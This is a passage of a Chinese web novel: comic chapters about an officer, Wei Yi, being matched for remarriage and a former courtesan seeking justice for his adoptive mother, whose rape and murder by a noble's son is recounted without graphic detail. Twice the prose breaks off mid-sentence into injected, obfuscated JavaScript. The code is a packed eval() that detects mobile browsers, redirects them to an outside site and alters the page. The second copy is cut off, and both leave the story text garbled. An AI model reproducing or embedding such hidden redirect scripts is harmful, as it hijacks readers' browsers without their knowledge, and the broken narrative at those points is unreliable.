前阵子柳卞总是跑到韦家来给韦祎说续弦,韦祎的娘嫌烦,晚上召开了家庭会议,会议主持者柳不寒,也就是她自己,韦寅、韦祎、韦宓祖孙三代受邀列席。 会议讨论了以下事项:第一,确认全家人都不想做官;第二,确认目前家庭大部分收入来源于农庄产出和商铺收租,俸禄收入只占二成;第三,决定等韦寅到了六十岁,勉强可以算上“告老”的年纪,就全家辞官离开京城搬去贺来郡的庄园,今年韦寅五十六,再混个四年。 会议结束前,列席人员韦祎举手提问:“那我还要续弦吗?”他本以为这次会议议题是续弦,惴惴一晚上。 议长柳不寒说:“你想娶就娶,娶不着就娶不着,问我干嘛?” “真的,你舅舅同意?”罗晏问。 “我家的事儿,还要我舅舅同意?”韦祎说,“这话要是让我娘听见一准儿发脾气。” “那也好,你们家有房有地,当个自在富人比你在这早晚当差强多了。”罗晏拍了筷子,眉飞色舞。 “你怎么更来劲了?”韦祎不自觉坐直了身子,摆出一副防备姿态。心里知道,虽说老爹想着辞官,但实际操作上不太可能,未竟之事太多、太多。 “听我跟你细细道来。”罗晏的晚餐差不多吃尽兴了,于是对别的事情起了兴趣。 他不催韦祎升官了,他开始给韦祎介绍对象了。 “本想着你要走仕途,续弦官家小姐才是上上选,现在你不当官,我这里的人选就派上用场了!” 罗家分支多,生意大,为保证始终良性发展,族内要选贤举能互相竞争。 有那不争气的子侄自然就被挤到偏远穷困之地,分他一点点股份,仅可糊口。有那争气的分支,即使和族长已经隔了四五代,血缘稀薄,也可大权在握。 最顶端有十人直接受族长管辖,便是罗家赫赫有名的十大掌柜,这十人里头有的专管异域生意,有的专管金银器,有的专管运输业,各自司掌一方,手中之权却不一定能传给自己的嫡系,想接权,还是要靠自己的能力。 罗晏有个堂妹,叫罗易,应该不算是远房,差不多是同一个太爷爷罢。 罗易爹娘这一支本也不错,管着齐国东部一大片富庶地区的客栈、车店,儿子却是大大的不争气,急躁易怒,十岁时与玩伴意气相争,失手杀了人。 十三岁以下的孩子犯了大罪,按齐国的律法要重罚其父,罗易的爹爹上下打点,脱了牢狱之灾,生意却也做不成了。罗易那时才十三岁,见自家亲叔叔亲伯伯们纷纷上门巧取豪夺十分不快,硬是独自闯出条路来夺回了家中的生意,近些年扩张了不少新产业,与罗晏也混得很熟。 罗家是生意人,选人不管男女,谁能上谁上。罗晏说了,再给她几年时间,十大掌柜之一的位置是囊中之物。 韦祎:“所以呢?” 罗晏:“你觉得怎么样?” 根据罗晏的描述,韦祎脑子里描画出一个泼辣彪悍盛气凌人浑身珠宝绫罗的中年妇人。 不对不对,是堂妹,那就是比罗晏年纪小。二十来岁就这么着,怕不是得比罗晏还鬼精灵?跟这人一起过日子?啧啧,可能会被玩死。 “我高攀不起,不敢不敢,可歇着吧你。” “别急着拒绝啊,她可不丑,配你的相貌是绰绰有余的!而且识文断字、熟读诗书,虽然不会什么武艺,但是身体好,平时都是骑马出行,一点儿也不娇气。”此时给罗晏戴上抹额再插朵大红花,唇边粘上大黑痣,就是个活媒婆! 7. 相亲记 “壹通,你既吃饱了咱们就出去,回衙门冲凉换衣裳,在这锅滚汤前面再坐一会儿,我得晕了。”韦祎招来小二付账,出了店快步往衙门走,罗晏紧紧跟上。 罗晏:“那你这几年一定是疏于锻炼,你看咱小时候夏天怎么过的?人人背着三十多斤渔获爬山,我记得你可乐呵着呢。” 那会儿就是天天傻乐,觉得打鱼种菜劈柴都好玩得很。 “我跟你说,我这堂妹哪儿哪儿都不错,就是年纪稍大了点,不过也只有二十三而已,比你还小两岁呐。” 韦祎的临时衙门里,后院井水旁边简单修筑了一堵墙,供士兵们洗澡时遮羞,不过也真的是只有一堵简陋的薄墙而已,没门没顶,三面透天风,墙也不高,韦祎的身高站到墙后去,肩膀和脑袋都是露在墙上面的。 “你给我背过身去,不准看这边!”韦祎脱了衣服汲水冲澡,回头一看,罗晏正在凑在墙后,一双眼睛盯过来。“还有你们!有什么好看的,做事去!”远处还有一队正在练齐步的士兵也停下脚步往这边探头探脑。 “要不我写信让她来京城一趟,你们见见面?” “你家的巾帼英雄,多少权贵和富商等着求娶,别屈就在我这了。” “说到这事儿,她十六适龄议亲的时候,我七叔叔想招女婿入赘,毕竟小易才是他家顶梁柱嘛,最后定了个谁家的次子愿意入赘,刚定亲那倒霉哥们儿就打马球摔了一跤,马蹄子乱踏,从他大腿根踩过去,他便不成了。” 正冲凉的韦祎听得两股战战。 “那没良心的一家子还瞒着这事儿只说是能治好再入赘,害小易等了他两年多!”罗晏说到这一拍那矮墙,矮墙的土渣子扑簌簌掉了韦祎满身,他只好再打一桶水冲洗。 “这都十九了,小易得生意越来越大,眼光也高,千挑万选又再说了一门亲,那男的是当地盐铁督察家的小公子,读书知礼人模人样的。”罗晏接着讲下去,“说了亲,过了三书六礼,婚礼的请柬都发出去了,那会儿小易正搞新业务,收购了两座青楼楚馆,想私下去看看有什么弊病要整改。” 罗易穿了身男装,带着两个门客扮作外地来的客商,去自家新买的青楼逛逛。走进去挑三拣四地看了看,假意跟老鸨子说这些都不满意,有没有更“刺激”的? 老鸨神秘兮兮地将他们带到后头的阁子里,这儿装潢更加富丽,美女如云,罗易定睛一看,怎么这美女美则美矣,有些怪模样,身材较一般女子高了许多,脚也比一般女子大太多了,要么是胸部扁平,要么像是揣了两坨棉花。 早有传闻,一些富家公子口味特殊,喜好扮作妓女与男子欢好,今天头一回开眼界,罗易与两个门客好奇地四处赏玩,不多时,一个门客胳膊肘拐了拐罗易,给她指了一个方位。 罗易用扇子遮住脸,看向那处。 只见盐铁督察家的小公子穿一身露出白皙后背与滑嫩大腿的紫色薄纱裙,挽着秀丽的绻云髻,戴一头晶莹剔透的琉璃簪花,细细的金链子在腰上松松地环几圈,勉强系住裙子,衬得纤腰不盈一握。唇涂的艳红,眉上扫了黛色,额上贴一片金箔牡丹花钿,此时正扭着两条长腿,与一位十分高壮的汉子亲嘴儿呢。 “你俩,敢说出去试试。”罗易压低声音跟两个门客说,二人慌忙应喏。 欣赏了半天,回家后罗易随便扯了个由头把婚约推掉了。 这会儿就年纪大了,女子过了二十岁说亲事更困难,一直没个合适的。 今年春天好不容易有一个看中的公子,罗易决定先把此人约出来见一面,一面后傍晚依依惜别,那人转身就被人群挤到掉进了河中,命是救回来了,只是呛水憋气时间太长,神智有损,从此痴痴傻傻。 此后便发现,这人家中竟然十分无赖,罗易赔了好些银子,送了一座农庄,才摆平此事。 交接了庄子的地契后,不日就见那公子也不疯癫也不痴傻了,又会作艳诗又会逛窑子呢。又过了半年,不知怎么的,窑子里马上风一命呜呼。 韦祎一边换上便服,一边想着罗晏这堂妹命这么硬,来说亲事,是不是在咒自己。 “你看看,她这是什么命啊,我七叔叔和婶娘找我来给她说亲事,我可一般不敢开口,再出什么意外说不定会赖上我赔钱!”罗晏说,“我就想起你来了,命硬这事儿,小易比不过你。” 小时候的事儿暂且不提,只说出征稞国这一件事。 当时的承亲王任元帅,点了一众名将、英才,率十万大军开赴边境。 谁也没想到承亲王这个浓眉大眼儿的是个里通外国的蠢蛋,说是跟稞国演戏一般地打一场,换些战功回去好登上太子宝座,承亲王自己焦虑过头,怕事情败露就不顾约定,一路打进稞国首都,灭了自己“盟友”的国。 打进皇宫之后,稞国皇帝当众痛斥承亲王,这么一搞,全部出征将军都知道承亲王的骚操作了。 众人一时不知道该如何是好,纷纷望天数棚顶的浮雕有几只仙鹤,看地找石砖上镶了几株牡丹花纹,假装没听见。 承亲王这个蠢蛋汗如雨下,当面揭过后立刻找机会杀光了稞国的皇室,又在回程路上用尽手段除掉了当时在场的所有高阶军官。 唯独少了二人,其一是出征时获封弓兵中郎将的韦子隽,其二是稞国十九皇子。 这二人从事情败露的当日起便不知所踪。 韦祎携稞国十九皇子微服跋涉,潜回齐国京城,告发了承亲王叛国大罪。 承亲王回国后立刻被褫夺封号,全家发配到南海的一座小岛上守土。 稞国十九皇子作证有功,又为了安抚稞国投降的军民,被封为稞州侯,在京城拨了一座侯府给他住,无圣旨不得离开京城。 韦祎在皇帝眼里就没那么可爱了,承亲王毕竟是皇帝他儿子,此事一出就是父子反目大义灭亲的戏码,这当老爹的皇帝怎么可能喜欢挑事儿的人? 路上受了伤,在家休养了几个月,之后就去京都城防军这么一个打酱油的地方报到了。 一个太子候选人带着十几个高级军官出征,就回来韦祎一个,不是命硬难道是软?罗晏对韦祎的命运有着高度的信任。 儿子还小,韦祎想过了,自己平日里都不在家的,而且指不定什么时候又要远征,要是娶了个品性坏的后娘,带坏宓儿怎么办?不如先放一放,等宓儿被打包送出去之后再考虑。 听罗晏说到他的堂妹,既然能和罗晏混得好,品性自然不会差,比罗晏还机灵圆滑,心气儿也高,还是算了吧,自己只想过这种没志气的日子,这堂妹是位女中豪杰,别耽误她了。 换好了衣裳,又在办公室略坐了一会儿,一直等到天色黑透,稍稍转凉才往家中走。 熟练地轻身跳上常翻的那堵墙,从这堵墙上跳进韦宅院内,只消走过一条种着两颗桂树的小径,再穿过一道月亮门,就是韦祎和罗晏住的院子,韦宓平时和祖父祖母一同住在正院里头,不与韦祎同住。 “哎呀,你在此地作甚?黑天里不点灯在那坐着,故意吓我啊?”一直走到房门口,韦祎才看见有个人正坐在台阶上。 “嘿嘿,少爷呀,您今个儿可没去老爷那里吧,晚饭时老爷还说你呢。” “我爹让你等在这里教训我不成?” “怎么可能呢,老爷他就是让我多提醒您嘛。” 这人名义上是韦祎的书童来着,他十五岁回京城后就要去太学上课,那儿人人都带书童,所以柳不寒也给韦祎找了一个。名儿叫四萬,韦家农庄管事的儿子,一听就知道这农庄管事好打牌。 韦祎不用人照顾,又和太学的纨绔们玩不到一起去,反而和四萬成了朋友,一起逛夜市吃小吃。既然韦祎不用四萬伺候,四萬就在韦宅帮着各处打杂,等韦宓生下来之后,四萬的主要工作就变成照顾韦宓,一般不来韦祎这院子。 “宓儿这些日子做什么呢?” “老夫人吩咐,让我多带他外头转转,小孩子应该多运动。这几天天热,我领着小少爷、我家的东风、花姑姑家的小宝,一群孩子在镜子湖凫水呢,又凉快又健康,小少爷学的可快呢,再有几天便能学成了。”四萬说,神情得意。 “什么?五岁的孩子你们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14357835|152805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 让他学凫水?” 对了,四萬早早结婚生子,大儿子叫东风,八岁,二女儿叫西风,三岁,他娘子又怀了,这胎应该是叫南风,看来四萬发扬了家族传统,爱打牌。 这不是重点,重点是镜子湖,镜子湖在京郊的僻静的峡谷处,一眼清澈的山泉从山顶流淌下来,在山脚形成了几丈宽的潭水,清澈干净,可以清楚地看见潭底,是个游水解暑的好地方,但是那潭水,足有十尺深,成年人站进去都是踩不到底的! “少爷您别瞎操心啦,我的水性您不是不知道,再说了,我家小东风,还有花小宝的水性都好着呢,没问题没问题。”四萬看见罗晏在旁边,继续说,“上次罗公子还和我们一起去了呢,要不您问他?肯定没问题。” 韦祎瞪罗晏。 不过这会儿天都黑了,灯笼也没点,罗晏耸耸肩,装作看不见韦祎瞪他。 “咱家后院不是有水池子吗?那水也齐腰深了,不能消消停停的在家里学游泳?” “我们冲茅厕、给马洗澡给狗洗澡的水都是在那池子里打的,看着清亮,别提有多脏了。”四萬非常嫌弃韦宅后院的景观池塘,“就算您敢让小少爷在那里边泡着,我也不敢呐!” 韦祎自己前几天想泡澡,实在太累懒得走到井边提水,于是就在那池子里打了水来烧热,不过他是不会把这事儿说出来的。 “那你给宓儿系个安全绳,可别往水里一扔就不管了!” “这还用您吩咐?您管好自己的事儿就成了,老爷还说让您早休息,明天别放他的鸽子了。” 韦祎动着脑子想明天该找个什么理由不去礼夷院呢。 看见四萬在那徘徊着没走,显然是还有别的事儿。韦祎摆出一副“我在认真听了你快说”的姿态。 “这事儿本是小林想找您的,可他在外头找到您也费劲,又不能去衙门寻,他跟我熟,所以就托我来跟您说一说,求您给他帮个忙。” “小林?谁呀?”韦祎觉得韦家内外都没有姓林的佣人。 “那个谁嘛,您忘了,您没成亲之前他跟我不都是您院里的吗?”四萬提醒道,他甚至怀疑是不是韦祎在故意装做想不起来。 “没有啊,我用你一个都嫌多,还有过别人呢?你也不看看我这院子住得下那么多佣人吗?”韦祎搜肠刮肚,心想是四萬记错人了。他这院子就一间佣人房,再多一个佣人住都没地方住,现在可好,地位越发下降,连一个佣人都没了,佣人房里堆满了杂物。 “嗐,他也没住佣人房里头啊!”四萬不耐,准备直说了。 “不是我说你啊子隽,长得好看的人你怎么能忘呢,别人送你的那个男宠嘛,不就是叫霖苓的?”罗晏在一旁恍然大悟了,“伯母之前还跟我说过这事儿呢,听说是那孩子当时把你吓得光着屁股跑了半条街?” 原来这霖苓从良后,自己取了艺名中的字音,改名作“林舲”,大家都叫他小林。 “怎么就升级成光着屁股跑半条街了?我那是提着裤子跑!”韦祎大怒,娘亲怎么这么不靠谱?说出去就算了,还扭曲事件严重性! 一阵恶寒涌上脊背,娘都能跟罗晏讲这件事了,怕是应付诰命们打牌的时候也讲过了,去宫里探贵妃喝茶的时候也讲过了,说不定半个京城都相信韦祎曾经光着屁股跑出门了! 宫里有位柳贵妃,闺名唤作柳红酥,是柳卞和柳不寒的亲妹妹,柳卞这一代就只有他们三个。 自幼,柳卞不满柳不寒任性散漫、恣意妄为,柳不寒厌恶柳卞权欲心太重,管得太宽,二人面不和心也不和,柳红酥自小听哥哥姐姐吵嘴,练成了一副油盐不浸百毒不侵的温柔性格,这么多年全靠她从中斡旋,柳卞和柳不寒才不至于真正反目。 说到这里,如果贵妃姨母知道了此事,为了标榜外甥作风刚正、廉洁自律,她也许就会把这事儿讲给皇帝听。而皇帝知道了,也许就会在敲打大臣们要整肃家风的时候拿韦祎这件事当例子,那就是丢脸丢满朝了。 自从那个漂亮的男孩子被柳不寒安排去铺子学算账,这一晃也好多年,那孩子应该有二十出头。 8. 雨霖铃 韦祎想起那事儿又生气又尴尬,“不帮不帮,他若真有事自去找我娘,莫要与我再扯上关系。” 四萬寻思寻思,怒道:“少爷,您是不是歧视人家啊?” “有手有脚的,做个什么不能养活自己,偏偏要做那败坏风纪的皮肉生意?”韦祎嘴硬,“还不是因为惫懒?” 罗晏抽冷子伸手,抓住韦祎的腰带狠狠一拽。韦祎不防,中招。 腰带上又要挂佩刀、箭袋、公文袋,又要挂钱袋、香囊、玉佩,自然要好好系上,再加上韦祎从军多年,习惯用宽腰带扎得紧紧的,看起来英武。罗晏当然没能把他腰带扯下来,于是韦祎差点被那大力拽得腰间盘突出。 “你干嘛?!” “你看看,发现了吧,我用这么大的力都拽不开,小林肯定没我力气大,所以说人家那也是技术活,怎么能叫惫懒?” 韦祎扶着腰。 见罗晏当了红脸,四萬接过白脸的工作:“哎呦喂罗少爷,您看您给我们家少爷弄的,这男人的腰啊,可是大事儿!” 他扒着韦祎的腰带上下查看,“少爷少爷,您这腰没事儿吧,罗少爷真是的,这腰带我记着是十二两零三钱银子买的,最上好的小羊皮特殊炮制,夏天系着不沤汗,没给拽坏吧,这制腰带的皮匠撇下婆娘和儿子带着个寡妇私奔啦,他婆娘把店给卖了,绝版!” 这条腰带用了两年了,四萬记性真好,把价钱记得有零有整的。“去去去,心疼皮带就直说,别假装关心我。” 都被教育一顿扣上职业歧视这么大的帽子,还差点闪了腰,韦祎决定乖乖帮忙。 今天听说藏娇楼出事,京兆尹下手抓了一批吸食禁药的纨绔,小林就赶忙跑去打探消息,果然听得,被抓的纨绔当中有个叫蒋韬乐的,再细打听,竟然还是自家少爷帮忙抓的人,几乎喜极而泣。 这蒋韬乐是出名的荒唐,他爹仗着皇帝的几分宠信,暗地里做了不少坏事,纵容家人胡作非为,亲族子侄个个飞扬跋扈,违法乱纪的事情也都被抹平的抹平、搪塞的搪塞,有最坏情况就拉个佣人出来顶包,要么就是抓个乞丐当替死鬼。 有件事儿在小林看来就闹得十分大,没想到最后竟然不了了之,连个替死鬼都没得。 小林被拘在教坊没卖出去的时候过得才是苦日子,被逼着学些不堪入目的下流技艺,学不好就挨打挨饿。教坊不止做卖皮肉这一门生意,什么弹琴的、跳舞的、唱戏的、说书的,都得教坊一并安排,有的人是被教坊买断的,有的人是自由身寄名教坊做中介。 有个女子,已是三十许人,相貌略略有些丑陋,眼凸鼻凹,满脸是斑点,但声音宏亮铿锵,会模仿万物声响,说话间抑扬顿挫是说不尽的讲究。这女子姓姜名雨,自幼就学说书的技艺,肚子里数不完的好故事,当时途经京城便停留卖艺,挂名在教坊。 这各色艺人都挂名在教坊,说白了也都差不多。教坊里跳舞的、唱戏的、说书的、弹琴的姑娘个个都漂亮,在外都说是卖艺不卖身,实际上技艺也就一般般,都巴望着多钓几个色迷迷的大方有钱的客人。 姜雨不同,必受排挤,姑娘们暗暗嘲笑这老女人定是太老太丑,想卖也卖不出去。 姜雨哪里在乎?自打她来了京城,这些达官贵人们迷她的评书迷得不行,堂会的邀约只挑出价高的才肯去,在教坊开场说书时也均是座无虚席。 她有本事,教坊的管事们都毕恭毕敬的,一日里请她来,给一批精心调教的小厮们取些个好名字,小林也正在其中。姜雨没多想,炒豆子似的念出些吉利话、诗词短句来当名字,霖苓这名字便是取了词牌雨霖铃的意思。 霖苓本就崇拜姜雨,又听姜雨给自己取名叫霖苓,合了她自己的雨字,更觉得自己与姜雨亲近,常黏着她。姜雨因为相貌丑陋在教坊里受人排挤,形单影只,有霖苓在才有些慰藉。 她暗暗地将赚的钱都储蓄起来,想等存够了钱就替霖苓赎身,认作义子,离开京城去南方生活。 钱尚未存够,霖苓就被高价买走,送进了韦宅。 因祸得福,韦家竟然直接还了他自由身,还让他在铺子里学做正经营生。母子二人团聚,喜不自胜。从此姜雨安心做说书人,林舲则踏实学管铺子的本事,一时平安喜乐。 就在此时,姜雨接了蒋家的堂会邀约,在蒋夫人过大寿的时候去说书解闷,不过是寻常生意,却在这一次让蒋家的少爷蒋韬乐迷上了她,每逢她说书必然到场,也送些吃食、礼物给她。迷她说书的人多得是,姜雨没把他当一回事儿。 一日又去蒋家说书,蒋家出价最高,放着钱在那谁不赚啊?说了两段故事,口干了就下场找杯茶喝,换一队舞女上台跳舞助兴。姜雨在茶水间门口撞上了喝得醉醺醺的蒋韬乐,趁醉便把她奸污了,事后又因惧怕,慌乱中用枕头捂死了她。 教坊报了案,可这走四方卖艺的人失踪了,可能是逃了,可能是自己离开京城了,可能是藏在哪个达官贵人的府邸了,可能性太多,官府懒得查,搪塞两句就过去了。 林舲又去报案,他已经脱了乐籍改名换姓,与姜雨扯不到一点关系,官府根本不理他。 直到大半年后,京城下了大雨,冲垮了一段河堤,姜雨的尸体就在那处垮塌的河堤里头横着,皮肉腐烂殆尽,只剩下纤弱的白骨。 既然是命案,当时的京兆尹倒是查了查,查出此人是失踪七个月的说书女艺人姜雨,查到了她是被先奸后杀,查到了蒋家。 蒋家的对策也够无耻,他们买通了与姜雨同在教坊的艺人们,也不需要她们冒着风险做伪证,只需要四处传播“姜雨是个无盐丑女,蒋家人向来口味挑剔,绝不至于如此恶心”等闲话即可。 此话一旦传开,就又衍生出了好几个版本,什么姜雨在外面养了野汉子啊,什么姜雨其实经常勾引各家公子啊,什么姜雨向一群乞丐求欢结果玩过头才被杀啊,传着传着,好像是姜雨行为不端才遭此下场。 死了个品性败坏又丑陋的说书女艺人,没个苦主,查什么?官府没人管这案子了。 林舲这些年反复查访,断定就是蒋韬乐犯的案,苦于没有证据。蒋家跋扈,他不敢轻易招惹。 直到今天,这恶棍终于犯了个被抓现行的大罪,已经被关进了天牢,蒋韬乐曾有一个不用做事的闲职,因此也算是官员,按律法会连坐蒋家全家!此时只要再努力一把,就能让义母沉冤得雪洗刷污名,小林得消息之后立刻拔腿跑着去找到四萬,求他帮忙给韦祎带话。 几年前,小林和四萬的关系也就是一般般,没到莫逆之交的份儿上。 直到四萬成亲。 四萬他爹早早给儿子说好了媳妇,四萬刚过十六岁生日,就忙不迭的把儿子的亲事办了,女大三抱金砖,四萬娶了个年长他三岁的娘子。 当时四萬还少不更事,只知道每天干完了活就四处跑着玩呢,他媳妇却因为年纪大些,有几分风韵又是个泼辣性子,夫妻房里那事儿上常常笑话四萬。 四萬也不服啊,可是这周遭的同龄朋友里,就属他成亲最早,没人可交流,又不能厚着脸皮去问老爹和哥哥们,要是问了,一准儿成为餐桌话题。 他就想起自己认识一位“专业人士”。去铺子里找到了小林,其实小林那会儿也正苦闷无聊呢,从小在教坊里长大,乍然成了自由身,与周遭格格不入,工作之余都不知道该做些什么,每天无趣到主动加班打扫卫生,正好等来了鬼鬼祟祟探头探脑的四萬。 “可以!小事儿!包在我身上!你听我的,保证让四嫂对你一百个满意!” 小林慷慨地传授了不少技巧给四萬,如此这般,四萬与娘子越发恩爱,怀上了孩子,四萬在家中终于一展雄风扬眉吐气。从此四萬便认为小林真乃神人也,偏见一扫而空,二人就成了铁哥们儿。四萬在带着韦祎出去玩之余还抽时间带着小林玩,其实岔开这两边的时间也不容易 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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四处看看,窗边的竹帘上晾着生的面条,于是韦祎灶拿来一只小砂锅,掀开厨房常备着的高汤大锅,用长柄勺盛出来两大勺浓浓的猪骨汤放在小砂锅里做底,小炭火炉子的火还没熄灭,便宜韦祎不用点灶火。高汤煮沸之后加一撮盐,再抓一把半干的生面条下在砂锅里头,挑了篮子里一些顺眼的蔬菜,什么大番茄啊,小白菜的,都是厨房洗净备用的,直接拿来切切,扔进砂锅里同煮,还找到一方火腿肉,也切了小半边放进去。 等面条煮熟了,垫着布巾把砂锅端离火,再挖一大勺油辣椒浇上去,也不用碗,等会儿就着锅就能吃了。 罗晏在厨房门口冒头,麻利地找来汤碗、调羹和筷子:“见者有份,分我半碗。” “你晚上吃了那么多,夜里还吃?” “我这是路过,闻到你这味道了。” 厨房里有一方粗笨的大木桌,上面摆满了各类瓜果蔬菜锅碗瓢盆和案板,罗晏在这桌的角落里清理出一小片地方,挪来两只摇摇欲坠的木头凳子。端着回院子也太麻烦了,二人就凑合着坐在桌边,砂锅摆在中间,人手一只汤碗,从砂锅里盛出汤和面来吃。 罗晏不太饿,吃了小半碗就停了,韦祎饿着呢,最后连汤都喝掉了,顺手把砂锅和碗筷都洗干净放回原位,一会儿厨师回来了可能会觉得是闹了鬼,窗户边上晾着的鲜切预备明早给大家吃的面条怎么就少了好多呢?于是满腹狐疑地又揉面切面条晾上。 打着饱嗝回去洗漱,胃里一旦热乎起来,脑子就空了,即使今天发生了很多事情,照样沾枕头就睡着。 睡得早起的就早,第二日一早,韦祎就换好衣服翻墙离开家,他怕韦寅要他下午去帮忙,于是连早饭也不敢在家一起吃。 到了早上厨师又气呼呼的,昨晚莫名其妙少了一人份的面条子,害他熬夜重新和面,到了今早发现韦祎不在家里吃,面条又剩了一人份,躺在窗边晾面条的竹帘子上好像在笑话这可怜的厨师。 韦祎在临时衙门旁边的早点小摊上就着一个炊饼吸溜了一碗辣乎乎煮得稠稠的汤,吃完了还有大碗茶喝,一共才四个铜板。 9. 驱狼棍 今个儿确实是早了,进了衙门,刚起床的士兵们还在洗漱,乱哄哄挤在水井水缸旁边。 往里走,空地上站着一排起的更早的人,周冲和郑予光着膀子站在人群中间,露出一身结实的腱子肉,一人提一根圆头的长棍当作长枪用,正在过招,旁边几个老兵围观着叫好,还有几个人也拿了棍子、木刀,把衣裳下摆提起来掖在腰间,活动着手脚等上场。 “往下三寸,戳他的尾骨!鞭腿跟上,人都倒过去了还不赶快踢他!”韦祎看见周冲略微占了上风,也跑去帮腔。 郑予险之又险地避开了周冲戳向他两腿之间的木棍,却不想这是周冲故意送的虚招,周冲长棍回头,轻轻拍在郑予屁股肉上,发出俏皮地啪唧一声响。 韦祎、周冲、连带围观的一群老兵哈哈大笑。 郑予捂着屁股控诉韦祎:“千总你这是偏心周冲啊!” “嘿,你说我偏心?你这枪术还不成,你是用刀和盾的,人家周冲是枪兵,你跟他比长枪,也就是十招输还是十一招输的区别,哪里差我这一句话?” “就是不会枪才练,好不容易能走上几招了,千总您可真是,”郑予说到这忽然眼前一亮,“千总您原本是弓兵,要不您来跟我走几招长枪?” 话音一落,旁边起哄的声音就高到要炸开院子,就连前头的士兵也都纷纷挂着毛巾端着漱口杯跑过来围观。 “成啊!不过不跟你比,怕你屁股开花,”韦祎在架子上挑起一根圆头长棍掂了掂,“周冲,来!” 韦祎真的没练过长枪,但是他小时候刚进师门学的就是棍法,师父住的那座山上野狼出没,用刀对付狼要见血,闻到血腥味怕不是整座山的狼和熊都要跑过来准备野餐,就得用棍子才有效,所有拜师的小孩刚入门都要学棍法,学会了之后才能出院子玩。 没什么意外,二人有来有往的走了三十几招,人群里喊了一声“快卯时中了!”,韦祎照样抽回长棍,不知怎么的就从右手换到了左手,灵巧地把棍梢拍在周冲屁股上。 “哎呦喂!我这一直就防着这一招呢,怎么还是中了!”周冲也捂着屁股跳起来。 “你什么时候能自己写好一篇小字的报告,我就把这招教给你,怎么样?” “好!”这话不是周冲说的,是刚刚来上班也在人群外围观的鲁先生说的,众人听鲁先生大喝这一声,都知道今天周冲又要倒霉抄字帖了,纷纷叫好大笑。 列队点了名,郑予高兴地去巡街,周冲则被鲁先生给揪去了书房。 “报千总!您家的两个佣人在门口,说是来找您有事!”韦祎在办公室抄了一上午资料表格,此时正站在屋里摆着奇形怪状的姿势活动胳膊,不妨门一推,执勤的老兵就走进来报告了。 “让,让他们进来吧。”韦祎正半蹲着,两只手握在一起从侧面抬过了头顶,有点蠢。 说完话,这老兵一脸“我就知道千总又摸鱼不做事”的表情离开了办公室。 韦祎猜着门口那是四萬和小林,正有些难以言喻的别扭呢,罗晏就晃悠悠推门走了进来,“哎,你这姿势是在干嘛?” 怎么都不敲门的?韦祎心中怒道。 “你这门锁坏了,本想敲门,轻轻一碰门就开了,再把门关上敲敲岂不是迂腐?” 得,不愧是荒了多年的旧衙门,下午让执勤的找锁匠来修理门。“你现在进衙门都不需要报告了吗?” “都认识我就放我进来了。”罗晏说,“刚还在书房看了一会儿鲁先生讲课,他想让我做模范写大字,我就立刻告辞了。” “嘿,对,我也不去他那屋,去了都得写字帖背古文。” 四萬和小林两个人在执勤兵的带领下找到了韦祎办公室,“喔!果然是个漂亮的!”罗晏惊叹。 “谢罗公子夸奖。”小林今年二十三,虽然看着很瘦又白皙,却没有虚弱的病态,穿一件简单素净的浅蓝色长衫,已经洗得发白,袖口处都磨损起毛了,头发用同色布条绑着,腰间只是棕色的布腰带,挂了一个大街上三个铜板随处可以买到的碎布小香囊,没有一点多余的装饰。这套是韦家铺子里的制服,韦祎常常看见穿成这样子的人出入家门,十分的平平无奇甚至有点简陋,可小林穿了这身,微笑起来简直让人移不开眼睛。 韦祎有好几年没见过小林了,准确的说,他原本就不太清楚小林长什么样子,当年匆匆就看了一眼,只记得个模糊的,穿的很少的人影儿。 “好久不见呀,少爷。”小林向韦祎拱手作揖,“别紧张。” “哈哈哈哈哈哈哈。”罗晏憋不住了。 “嗯。”韦祎随便点了个头当作回礼,表示自己没紧张,手悄悄也从腰带扣上挪开,暗暗提醒自己不用捂着腰带。 “我来是想跟少爷说,可否让我见见这位落难的蒋公子,这些年虽然查了不少,但不敢确定就是此人,若能见上一面,对簿公堂时我有个准备。” “要说察言观色套别人的话,小林他最在行了!”四萬帮腔。 “这······”韦祎沉吟,让吴签通融通融进天牢见个人也不算难,但是韦祎走关系技能实在不行。 门吱呀一声开了,“报千总,京兆尹吴大人派人给您送了一个盒子,我放这里了。”执勤老兵又径自走了进来,把一个巴掌大小的精致木头盒子放在了韦祎桌上,一脸“天哪千总竟然被人送礼了”的表情走出了办公室。 “哎,回来!他送你就收啊!喂!说不定是工作呢!别误会啊!”韦祎愣了片刻之后说了这句话,然而那老兵已经走远了。 “是什么呢,我可打开看看了。”罗晏把小盒子拿起来端详着。 “开吧开吧。”韦祎想,吴签品级和自己差不多,犯不着给自己送礼。 罗晏拨开卡扣,木盒上有机关,盒盖咔地自行弹开,屋里的这几个人都把目光投过去。 盒中铺着素白的锦缎,锦缎上放着一个比婴儿拳头稍小一些的珠子,滴溜圆,金灿灿,罗晏把那珠子拈起来晃了晃,传出了清脆的铃铛声,嗡嗡回响不绝。 罗晏和小林的眼神顿时微妙了起来,四萬还不知情,惊叹道:“这难道是金子做的?你可不能收啊少爷,老夫人会打断你的腿!” “这应该是上好的红铜抛光所制,有几分金子的光泽罢了,你少爷的腿不会断的。”罗晏笑道。 韦祎不知道这究竟是什么,但是他记得昨天在藏娇楼问了吴签此物是何用处,没想到吴签看着好正派的一个人,竟然隔天就特意派人来送个“助兴之物”到衙门! “看来你和吴大人交情是真的不错嘛,都到这个份上了。”罗晏把珠子放回盒中,又翻了翻盒底,“果然附了说明书,你和京兆尹有这等交情,给小林办这件事肯定没问题的,怎么说也有几分‘旧缘分’在,别吝啬。” 韦祎真的很想解释一下他五年里只有昨天和吴签说过话。 